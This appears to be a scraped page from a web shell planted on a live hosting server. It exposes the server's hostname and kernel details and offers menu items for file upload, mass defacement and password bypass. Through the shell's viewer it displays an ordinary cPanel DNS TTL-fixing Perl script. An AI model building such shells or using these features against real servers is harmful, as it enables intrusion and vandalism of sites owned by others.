Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 16:54:40
Current Directory :
/
scripts
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : //scripts/fix_dns_zone_ttls
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/fix_dns_zone_ttls Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::fix_dns_zone_ttls; use cPstrict; =encoding utf-8 =head1 USAGE fix_dns_zone_ttls [--fix] =head1 DESCRIPTION This utility fixes problems with TTLs in DNS zone files. By default this script will only I<find> TTL problems. Pass the C<--fix> parameter to have the script fix the problems as well. =cut #---------------------------------------------------------------------- use Try::Tiny; use parent 'Cpanel::HelpfulScript'; use Cpanel::DnsUtils::FixTTLs (); use constant _OPTIONS => ( 'fix', ); __PACKAGE__->new(@ARGV)->run() if !caller; #---------------------------------------------------------------------- sub run ($self) { local $ENV{'REMOTE_USER'} = getpwuid $>; my $output_obj = $self->get_output_object(); my $funcname; if ( $self->getopt('fix') ) { $funcname = 'report_and_fix_problems'; } else { $funcname = 'report_problems'; } Cpanel::DnsUtils::FixTTLs->can($funcname)->($output_obj); return; } 1;
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18